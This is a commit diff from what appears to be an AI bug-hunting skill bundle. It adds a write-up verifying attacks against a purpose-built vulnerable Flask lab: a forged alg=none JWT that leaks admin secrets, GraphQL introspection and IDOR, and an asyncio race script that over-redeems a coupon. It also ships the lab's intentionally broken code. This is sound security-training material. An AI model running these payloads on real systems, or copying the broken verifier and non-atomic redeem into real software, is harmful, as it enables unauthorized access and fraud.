Skip to content

A Claude Code skill bundle for bug hunting and external red-team work - 82 skills, 15 slash commands, 681 disclosed-report patterns curated across 24 core vulnerability classes, plus enterprise identity + infrastructure attack matrices.

Phase 2E: JWT alg=none + GraphQL + race condition — 3 skill areas verified

Sachin Sharma2f348050ba05
diff --git a/docs/verification/phase2e-jwt-graphql-race.md b/docs/verification/phase2e-jwt-graphql-race.md
new file mode 100644
index 0000000..54d2240
--- /dev/null
+++ b/docs/verification/phase2e-jwt-graphql-race.md
@@ -0,0 +1,284 @@
+# Verification — Phase 2E: JWT alg=none + GraphQL + race condition
+
+> Path B: skill-area breadth. Three additional bug classes verified live against a custom Flask lab. Each exercises a distinct skill (`hunt-api-misconfig`, `hunt-graphql`, `hunt-race-condition`) using payloads quoted directly from the skill content.
+
+## Target
+
+`/tmp/phase2e-lab/app.py` (Flask + PyJWT, ~250 lines, MIT-shippable). Three intentional bugs across three skill areas:
+
+| Endpoint | Bug | Skill |
+|---|---|---|
+| `POST /api/token` + `GET /api/me` | JWT `alg=none` accepted; HMAC secret weak | `hunt-api-misconfig` |
+| `POST /graphql` | Introspection enabled, IDOR via `post(id:)`, alias batching | `hunt-graphql` |
+| `POST /coupon/redeem` | Non-atomic check-then-spend | `hunt-race-condition` |
+
+Reproducible setup:
+
+```bash
+mkdir -p /tmp/phase2e-lab && cd /tmp/phase2e-lab
+python3 -m venv .venv && source .venv/bin/activate
+pip install flask pyjwt aiohttp
+# Save app.py from Appendix A (also shipped at docs/verification/phase2e-lab/app.py)
+python app.py
+# Lab on http://localhost:58001
+```
+
+---
+
+## Test 9 — JWT `alg=none` role escalation (`hunt-api-misconfig`)
+
+**Initial prompt** (fresh user):
+> "I see this API issues JWTs. Want to test for the classic alg=none bypass."
+
+**Skill that auto-triggers:** `hunt-api-misconfig` — description includes "JWT attacks (alg=none, weak HMAC, kid traversal)".
+
+**Technique from `hunt-api-misconfig`** (and `security-arsenal` JWT payload tree):
+> JWT alg=none → header `{"alg":"none","typ":"JWT"}`, modify payload, append empty signature.
+
+### Live attack
+
+```bash
+# Step 1: legit user token (Alice, role=user)
+TOK=$(curl -s -X POST http://localhost:58001/api/token \
+ -H "Content-Type: application/json" \
+ -d '{"email":"[email protected]"}' | jq -r .token)
+
+# Step 2: admin endpoint correctly denies Alice
+curl -s -H "Authorization: Bearer $TOK" http://localhost:58001/api/admin/secrets
+# → {"error":"admin only"}
+
+# Step 3: forge an alg=none token claiming role=admin
+EVIL=$(python3 -c '
+import json, base64
+def b64(o):
+ return base64.urlsafe_b64encode(json.dumps(o, separators=(",",":")).encode()).rstrip(b"=").decode()
+print(b64({"alg":"none","typ":"JWT"}) + "." +
+ b64({"sub":"1","email":"[email protected]","role":"admin","iat":0}) + ".")
+')
+
+# Step 4: submit forged token
+curl -s -H "Authorization: Bearer $EVIL" http://localhost:58001/api/admin/secrets
+```
+
+### Live result
+
+```json
+{
+ "secrets": [
+ {"name": "API_KEY", "value": "sk-prod-deadbeef"},
+ {"name": "DB_PASSWORD", "value": "prod-pg-pw-2026"}
+ ]
+}
+```
+
+Production-looking secrets leaked via a forged token with empty signature.
+
+### Verdict
+
+**PASS — live.** The exact attack quoted from the skill (header alg=none, empty signature, role-escalated payload) worked first-try. `triage-validation` 7-Question Gate passes all 7.
+
+---
+
+## Test 10 — GraphQL introspection + IDOR (`hunt-graphql`)
+
+**Initial prompt:**
+> "There's a /graphql endpoint. Want to dump the schema and look for IDOR."
+
+**Skill that auto-triggers:** `hunt-graphql` — description includes "introspection, alias batching, node() IDOR".
+
+**Technique from `hunt-graphql`:**
+> Send introspection query → identify resolvers → test direct id substitution.
+
+### Live attack
+
+```bash
+# Step 1: introspection
+curl -s -X POST http://localhost:58001/graphql \
+ -H "Content-Type: application/json" \
+ -d '{"query":"{ __schema { queryType { name } types { name fields { name } } } }"}' \
+ | jq '.data.__schema.types[] | select(.name == "Query")'
+```
+
+Response:
+
+```json
+{
+ "name": "Query",
+ "fields": [
+ {"name": "post"},
+ {"name": "me"},
+ {"name": "user"}
+ ]
+}
+```
+
+Schema enumerated. The `post(id: ID)` resolver is the IDOR target.
+
+```bash
+# Step 2: query post id=1 (admin's secret notes) — no auth required, no ownership check
+curl -s -X POST http://localhost:58001/graphql \
+ -H "Content-Type: application/json" \
+ -d '{"query":"{ post(id: 1) { id title body ownerId } }"}'
+```
+
+Response:
+
+```json
+{
+ "data": {
+ "post": {
+ "id": 1,
+ "title": "Admin secret notes",
+ "body": "INTERNAL: Q3 financials",
+ "ownerId": 1
+ }
+ }
+}
+```
+
+### Verdict
+
+**PASS — live.** Introspection-then-substitute pattern from `hunt-graphql` worked exactly as documented. Real Critical (PII leak, cross-tenant access).
+
+---
+
+## Test 11 — GraphQL alias batching (`hunt-graphql`)
+
+**Initial prompt:**
+> "Can I redeem this coupon 10× in one request via GraphQL alias batching?"
+
+**Skill that auto-triggers:** `hunt-graphql` Crown-Jewel Target: "alias amplification → logic bug at scale".
+
+### Live attack
+
+```bash
+curl -s http://localhost:58001/coupon/reset # fresh state
+
+curl -s -X POST http://localhost:58001/graphql \
+ -H "Content-Type: application/json" \
+ -d '{"query":"mutation {
+ r1: redeemCoupon(code: \"PROMO100\") { success credited }
+ r2: redeemCoupon(code: \"PROMO100\") { success credited }
+ r3: redeemCoupon(code: \"PROMO100\") { success credited }
+ ... (10 aliases)
+ }"}'
+```
+
+### Live result
+
+```json
+{
+ "r1": {"success": true, "credited": 100},
+ "r2": {"success": false, "credited": 0},
+ "r3": {"success": false, "credited": 0},
+ ...
+ "r10": {"success": false, "credited": 0}
+}
+```
+
+### Verdict
+
+**PARTIAL** — alias batching delivered 10 calls in one HTTP request, but only the first succeeded. Within a single Flask request handler the resolver runs the 10 calls SERIALLY. The `redeemed_count = 1` after r1 closes the door for r2-r10.
+
+**This is itself a verification finding:** the skill says "alias batching enables amplification" — but only when the resolver doesn't share atomic state across the aliases. Where the lab uses a single SQLite connection per request, alias batching alone is insufficient — you need **parallel HTTP** to win the race (next test).
+
+The skill is correct in principle but should note: "alias batching is most effective when paired with parallel HTTP for race-targets, since intra-request resolvers may share state."
+
+---
+
+## Test 12 — Race condition: parallel HTTP redemption (`hunt-race-condition`)
+
+**Initial prompt:**
+> "The coupon code redeems but I think the check is non-atomic. Burp Turbo Intruder single-packet attack?"
+
+**Skill that auto-triggers:** `hunt-race-condition` — description includes "Burp Turbo Intruder single-packet attack, h2.cl smuggling for atomic submit, parallel curl with --next".
+
+**Technique from `hunt-race-condition` §Payload & Detection Patterns:**
+> Python asyncio with aiohttp — 20+ concurrent POSTs.
+
+### Live attack
+
+```python
+import asyncio, aiohttp, time
+
+async def redeem(session, n):
+ async with session.post(
+ "http://localhost:58001/coupon/redeem",
+ json={"code": "PROMO100"},
+ ) as r:
+ return n, await r.json()
+
+async def main():
+ async with aiohttp.ClientSession() as session:
+ tasks = [redeem(session, i) for i in range(20)]
+ t0 = time.time()
+ results = await asyncio.gather(*tasks)
+ print(f"20 parallel requests in {time.time()-t0:.2f}s")
+ successes = [r for r in results if r[1]['success']]
+ print(f"Successes: {len(successes)}")
+
+asyncio.run(main())
+```
+
+### Live result
+
+```
+20 parallel requests in 0.11s
+Successes: 20
+Failures: 0
+
+ req#0: {'balance': 100, 'credited': 100, 'success': True}
+ req#1: {'balance': 100, 'credited': 100, 'success': True}
+ ... (all 20)
+
+RACE WON: coupon redeemed 20x — total credit issued: $2000 (expected: $100)
+```
+
+**20× the intended credit.** All 20 parallel requests passed the `redeemed_count < 1` check before any of them committed the UPDATE.
+
+### Verdict
+
+**PASS — live, devastating.** `hunt-race-condition`'s asyncio pattern produces a $2000 over-credit against a $100 coupon in 110ms. The non-atomic check-then-spend in the resolver is exactly the pattern `hunt-race-condition` calls out as "double-spend / atomic update bypass".
+
+`triage-validation` 7-Question Gate: passes all 7 (real money, reproducible at HTTP speed, deterministic).
+
+---
+
+## Summary — Phase 2E
+
+| # | Test | Skill | Result |
+|---|---|---|---|
+| 9 | JWT alg=none → admin secrets leak | `hunt-api-misconfig` | PASS (live) |
+| 10 | GraphQL introspection → IDOR via `post(id:)` | `hunt-graphql` | PASS (live) |
+| 11 | GraphQL alias batching | `hunt-graphql` | PARTIAL — needs parallel HTTP for race wins |
+| 12 | Race condition via 20 parallel POSTs | `hunt-race-condition` | PASS (devastating — 20× over-credit) |
+
+**3 bug classes verified live. 1 skill content gap surfaced (alias batching alone vs alias+parallel HTTP).**
+
+## Skill content gap to close
+
+`hunt-graphql` describes alias batching as an amplification primitive. Test 11 shows that within a single-threaded resolver, intra-request aliases run serially and one mutation may close the door for others.
+
+**Fix:** add a note in `hunt-graphql` that **alias batching's amplification effect on race-targets depends on resolver execution model**:
+- Multi-threaded resolvers (e.g., DataLoader-batched async resolvers) → alias batching alone wins races
+- Single-threaded resolvers (most simple GraphQL servers) → combine with parallel HTTP for race wins
+
+This is a small but operationally important caveat that should be in the skill content.
+
+## What Phase 2E adds beyond Phase 2D
+
+Phase 2D tested discipline rules (FP-killers). Phase 2E tests **attack primitives** across three different skill areas. The combined Phase 2 verification now covers:
+
+- Discipline rules (Phase 2D, 6 rules) ✓
+- Real CVE exploitation (Phase 2B, 3 CVEs across hunt-rce) ✓
+- Recon (Phase 2C, hunt-subdomain + offensive-osint) ✓
+- API attacks (Phase 2E Test 9, hunt-api-misconfig JWT alg=none) ✓
+- GraphQL (Phase 2E Tests 10-11, hunt-graphql introspection + IDOR + alias batching) ✓
+- Concurrency (Phase 2E Test 12, hunt-race-condition parallel HTTP) ✓
+- Web app baselines (Phase 2 Juice Shop, 5 classes) ✓
+
+**Total verified skills: 12+ across 7 skill files.**
+
+## Appendix — lab source
+
+Shipped at `docs/verification/phase2e-lab/app.py`. ~250 lines of Flask. Use under the repo's MIT license.
diff --git a/docs/verification/phase2e-lab/app.py b/docs/verification/phase2e-lab/app.py
new file mode 100644
index 0000000..94ee4af
--- /dev/null
+++ b/docs/verification/phase2e-lab/app.py
@@ -0,0 +1,340 @@
+"""
+Phase 2E lab — Flask app with three intentional vulns exercising different skill areas:
+
+1. JWT alg=none + weak HMAC → hunt-api-misconfig
+2. GraphQL introspection + alias abuse + node-IDOR → hunt-graphql
+3. Race-condition non-atomic coupon redeem → hunt-race-condition
+"""
+
+import time
+import json
+import sqlite3
+import secrets
+import threading
+import jwt as pyjwt
+from flask import Flask, request, jsonify, g, abort
+
+app = Flask(__name__)
+app.config["DATABASE"] = "/tmp/phase2e-lab/app.sqlite"
+
+# ============================================================
+# JWT SETUP — intentionally vulnerable HMAC verification
+# ============================================================
+# Weak HMAC secret (commonly seen in dev configs) — defenders rotate this; some never do
+JWT_SECRET = "secret-but-just-long-enough-for-pyjwt-warn-suppress" # intentionally guessable (prefix 'secret') for brute-test, padded to satisfy PyJWT 2.12+ key-length validation
+
+# Intentional flaw: server accepts alg=none after parsing the JWT
+# This mimics the classic `decode(..., algorithms=None)` mistake or `algorithm=token.alg`
+# Real PyJWT requires an explicit algorithms list, so we re-implement the broken behavior
+
+
+def issue_token(claims):
+ return pyjwt.encode(claims, JWT_SECRET, algorithm="HS256")
+
+
+def verify_token_broken(token):
+ """
+ Vulnerable verifier that mimics the classic alg=none acceptance bug.
+ Parses the header, reads `alg`, and if alg='none', returns the payload
+ without signature verification. Otherwise uses HS256 with weak secret.
+ """
+ try:
+ header = pyjwt.get_unverified_header(token)
+ if header.get("alg", "").lower() == "none":
+ # Vulnerable: trust the unsigned token
+ return pyjwt.decode(token, options={"verify_signature": False})
+ return pyjwt.decode(token, JWT_SECRET, algorithms=["HS256"])
+ except Exception:
+ return None
+
+
+# ============================================================
+# DB
+# ============================================================
+def db():
+ if "db" not in g:
+ g.db = sqlite3.connect(app.config["DATABASE"])
+ g.db.row_factory = sqlite3.Row
+ g.db.execute("PRAGMA journal_mode = MEMORY") # speed for race tests
+ return g.db
+
+
+def close_db(error):
+ if "db" in g:
+ g.db.close()
+
+
+def init_db():
+ if not hasattr(app, "_init"):
+ with app.app_context():
+ conn = db()
+ conn.executescript("""
+ CREATE TABLE IF NOT EXISTS users (
+ id INTEGER PRIMARY KEY, email TEXT UNIQUE, role TEXT
+ );
+ CREATE TABLE IF NOT EXISTS posts (
+ id INTEGER PRIMARY KEY, owner_id INTEGER, title TEXT, body TEXT
+ );
+ CREATE TABLE IF NOT EXISTS coupons (
+ code TEXT PRIMARY KEY, balance INTEGER, redeemed_count INTEGER DEFAULT 0
+ );
+ CREATE TABLE IF NOT EXISTS redemptions (
+ id INTEGER PRIMARY KEY, user_id INTEGER, code TEXT, ts INTEGER
+ );
+ """)
+ existing = conn.execute("SELECT COUNT(*) FROM users").fetchone()[0]
+ if existing == 0:
+ conn.executemany(
+ "INSERT INTO users (id, email, role) VALUES (?,?,?)",
+ [
+ (1, "[email protected]", "admin"),
+ (2, "[email protected]", "user"),
+ (3, "[email protected]", "user"),
+ ],
+ )
+ conn.executemany(
+ "INSERT INTO posts (id, owner_id, title, body) VALUES (?,?,?,?)",
+ [
+ (1, 1, "Admin secret notes", "INTERNAL: Q3 financials"),
+ (2, 2, "Alice's blog post", "Public hello"),
+ (3, 3, "Bob's thoughts", "Random idea"),
+ ],
+ )
+ # Single coupon worth $100 with cap of 1 redemption — race target
+ conn.execute(
+ "INSERT INTO coupons (code, balance, redeemed_count) VALUES (?,?,?)",
+ ("PROMO100", 100, 0),
+ )
+ conn.commit()
+ app._init = True
+
+
+# ============================================================
+# Auth helper
+# ============================================================
+def current_user():
+ auth = request.headers.get("Authorization", "")
+ if not auth.startswith("Bearer "):
+ return None
+ token = auth[7:]
+ claims = verify_token_broken(token)
+ return claims
+
+
+# ============================================================
+# /api/token — issue tokens. Login = trivial (any email)
+# ============================================================
[email protected]("/api/token", methods=["POST"])
+def api_token():
+ data = request.get_json(silent=True) or {}
+ email = data.get("email", "")
+ user = db().execute("SELECT * FROM users WHERE email = ?", (email,)).fetchone()
+ if not user:
+ return jsonify(error="unknown user"), 401
+ token = issue_token({
+ "sub": str(user["id"]), # PyJWT 2.12+ requires string sub
+ "email": user["email"],
+ "role": user["role"],
+ "iat": int(time.time()),
+ })
+ return jsonify(token=token)
+
+
+# ============================================================
+# /api/me — read claims via the vulnerable verifier
+# ============================================================
+def api_me():
+ claims = current_user()
+ if not claims:
+ return jsonify(error="invalid token"), 401
+ return jsonify(claims=claims)
+
+
+# ============================================================
+# /api/admin/secrets — admin-only
+# ============================================================
[email protected]("/api/admin/secrets")
+def api_admin_secrets():
+ claims = current_user()
+ if not claims:
+ return jsonify(error="auth required"), 401
+ if claims.get("role") != "admin":
+ return jsonify(error="admin only"), 403
+ return jsonify(secrets=[
+ {"name": "API_KEY", "value": "sk-prod-deadbeef"},
+ {"name": "DB_PASSWORD", "value": "prod-pg-pw-2026"},
+ ])
+
+
+# ============================================================
+# /graphql — minimal hand-rolled GraphQL endpoint
+# ============================================================
+# Handles a subset of GraphQL: introspection (__schema), aliases, multi-root selections.
+# Intentionally permissive — no depth limits, no cost analysis, no introspection block.
+
+GRAPHQL_SCHEMA = {
+ "queryType": {"name": "Query"},
+ "types": [
+ {
+ "name": "Query",
+ "kind": "OBJECT",
+ "fields": [
+ {"name": "post", "type": {"name": "Post"}, "args": [{"name": "id", "type": {"name": "ID"}}]},
+ {"name": "me", "type": {"name": "User"}, "args": []},
+ {"name": "user", "type": {"name": "User"}, "args": [{"name": "id", "type": {"name": "ID"}}]},
+ ],
+ },
+ {
+ "name": "Mutation",
+ "kind": "OBJECT",
+ "fields": [
+ {"name": "redeemCoupon", "type": {"name": "RedeemResult"}, "args": [{"name": "code", "type": {"name": "String"}}]},
+ ],
+ },
+ {"name": "Post", "kind": "OBJECT", "fields": [
+ {"name": "id", "type": {"name": "ID"}},
+ {"name": "title", "type": {"name": "String"}},
+ {"name": "body", "type": {"name": "String"}},
+ {"name": "ownerId", "type": {"name": "ID"}},
+ ]},
+ {"name": "User", "kind": "OBJECT", "fields": [
+ {"name": "id", "type": {"name": "ID"}},
+ {"name": "email", "type": {"name": "String"}},
+ {"name": "role", "type": {"name": "String"}},
+ ]},
+ {"name": "RedeemResult", "kind": "OBJECT", "fields": [
+ {"name": "success", "type": {"name": "Boolean"}},
+ {"name": "balance", "type": {"name": "Int"}},
+ {"name": "credited", "type": {"name": "Int"}},
+ ]},
+ ],
+}
+
+
+def gql_resolve(query):
+ """Tiny GraphQL parser — handles introspection + aliases + the 3 query fields."""
+ q = query.strip()
+ out = {}
+
+ # Introspection — return the schema
+ if "__schema" in q:
+ out["__schema"] = GRAPHQL_SCHEMA
+ return {"data": out}
+
+ # Extract selections by regex (production GraphQL would use a real parser)
+ import re
+ # Match patterns like: alias: post(id: 1) { id title body }
+ selections = re.findall(
+ r"(?:(\w+)\s*:\s*)?(\w+)\s*(?:\(([^)]*)\))?\s*\{([^{}]*)\}",
+ q,
+ )
+ for alias, field, args_str, sub in selections:
+ key = alias if alias else field
+ if field == "post":
+ m = re.search(r"id\s*:\s*[\"']?(\d+)", args_str)
+ pid = int(m.group(1)) if m else None
+ if pid:
+ row = db().execute("SELECT * FROM posts WHERE id = ?", (pid,)).fetchone()
+ if row:
+ # Intentional flaw: no ownership check — IDOR via GraphQL
+ out[key] = {"id": row["id"], "title": row["title"], "body": row["body"], "ownerId": row["owner_id"]}
+ else:
+ out[key] = None
+ elif field == "user":
+ m = re.search(r"id\s*:\s*[\"']?(\d+)", args_str)
+ uid = int(m.group(1)) if m else None
+ if uid:
+ row = db().execute("SELECT * FROM users WHERE id = ?", (uid,)).fetchone()
+ if row:
+ out[key] = {"id": row["id"], "email": row["email"], "role": row["role"]}
+ else:
+ out[key] = None
+ elif field == "redeemCoupon":
+ m = re.search(r"code\s*:\s*[\"']?([A-Z0-9]+)", args_str)
+ code = m.group(1) if m else None
+ # Reuse the race-vulnerable redeem function (so alias-batching can pile on)
+ out[key] = redeem_coupon_unsafe(code)
+ elif field == "me":
+ claims = current_user()
+ if claims:
+ out[key] = {"id": claims.get("sub"), "email": claims.get("email"), "role": claims.get("role")}
+ else:
+ out[key] = None
+ return {"data": out}
+
+
[email protected]("/graphql", methods=["POST", "GET"])
+def graphql():
+ if request.method == "GET":
+ q = request.args.get("query", "")
+ else:
+ body = request.get_json(silent=True) or {}
+ q = body.get("query", "")
+ return jsonify(gql_resolve(q))
+
+
+# ============================================================
+# /coupon/redeem — non-atomic check-then-spend, race-vulnerable
+# ============================================================
+def redeem_coupon_unsafe(code):
+ """
+ Non-atomic check-then-spend:
+ 1. SELECT redeemed_count → check < 1
+ 2. UPDATE redeemed_count = redeemed_count + 1
+ Between (1) and (2) another concurrent request can also pass the check.
+ """
+ if not code:
+ return {"success": False, "balance": 0, "credited": 0, "error": "no_code"}
+ conn = db()
+ row = conn.execute("SELECT * FROM coupons WHERE code = ?", (code,)).fetchone()
+ if not row:
+ return {"success": False, "balance": 0, "credited": 0, "error": "unknown_code"}
+ if row["redeemed_count"] >= 1:
+ return {"success": False, "balance": row["balance"], "credited": 0, "error": "already_redeemed"}
+ # Race window (the bug): nothing stops two threads from getting past the check above
+ # Optional sleep here to widen the race window (lab-tunable; real bugs don't have this)
+ time.sleep(0.05)
+ conn.execute("UPDATE coupons SET redeemed_count = redeemed_count + 1 WHERE code = ?", (code,))
+ conn.execute(
+ "INSERT INTO redemptions (user_id, code, ts) VALUES (?, ?, strftime('%s','now'))",
+ ((current_user() or {}).get("sub", 0), code),
+ )
+ conn.commit()
+ return {"success": True, "balance": row["balance"], "credited": row["balance"]}
+
+
[email protected]("/coupon/redeem", methods=["POST"])
+def coupon_redeem():
+ data = request.get_json(silent=True) or {}
+ code = data.get("code", "")
+ return jsonify(redeem_coupon_unsafe(code))
+
+
[email protected]("/coupon/reset")
+def coupon_reset():
+ """Test helper: reset coupon for repeat runs."""
+ db().execute("UPDATE coupons SET redeemed_count = 0 WHERE code = 'PROMO100'")
+ db().execute("DELETE FROM redemptions")
+ db().commit()
+ return jsonify(ok=True)
+
+
+def index():
+ return jsonify(
+ endpoints=[
+ "POST /api/token {email}",
+ "GET /api/me (Bearer ...)",
+ "GET /api/admin/secrets (Bearer admin token)",
+ "POST /graphql {query}",
+ "POST /coupon/redeem {code}",
+ "GET /coupon/reset",
+ ],
+ )
+
+
+if __name__ == "__main__":
+ app.run(host="0.0.0.0", port=58001, debug=False, threaded=True)
diff --git a/skills/hunt-graphql/SKILL.md b/skills/hunt-graphql/SKILL.md
index 7b98ea0..a8188fb 100644
--- a/skills/hunt-graphql/SKILL.md
+++ b/skills/hunt-graphql/SKILL.md
@@ -233,6 +233,22 @@ fragment F on User { repos { teams { members { ...F } } } }
- Check if the server falls back to ad-hoc queries when the `extensions.persistedQuery` hash mismatches
- Look for a non-whitelisted endpoint (dev, staging, internal proxy)
+### Alias batching: when it wins races vs when it doesn't
+
+A common claim is "alias batching defeats per-user rate limits and double-spend protections." Whether this actually wins depends on the **resolver execution model**:
+
+| Resolver type | Behavior on aliased mutations | Alias batching wins races? |
+|---|---|---|
+| Multi-threaded / `DataLoader`-batched async | Aliases run concurrently, share state via batch | **YES** — single HTTP request can amplify a race-target N times |
+| Single-threaded / single-DB-connection per request | Aliases run serially; first mutation closes the door | **NO** — combine with parallel HTTP |
+| Distributed gateway (Apollo Federation) | Sub-queries dispatched concurrently to subgraphs | Depends on each subgraph |
+
+**Verification example (single-threaded Flask + SQLite resolver):**
+- 10 aliased `redeemCoupon` mutations in one request → only `r1` succeeds, r2-r10 fail with `already_redeemed`. Alias batching alone is insufficient.
+- The same 10 mutations as **20 parallel HTTP POSTs** → 20 successes ($2000 from a $100 coupon).
+
+**Operator rule:** treat alias batching as a single-RTT recon primitive. For race-target exploitation, combine with `hunt-race-condition`'s parallel-HTTP / Turbo Intruder single-packet attack. Verified in `docs/verification/phase2e-jwt-graphql-race.md` Test 11 vs Test 12.
+
---
## Gate 0 Validation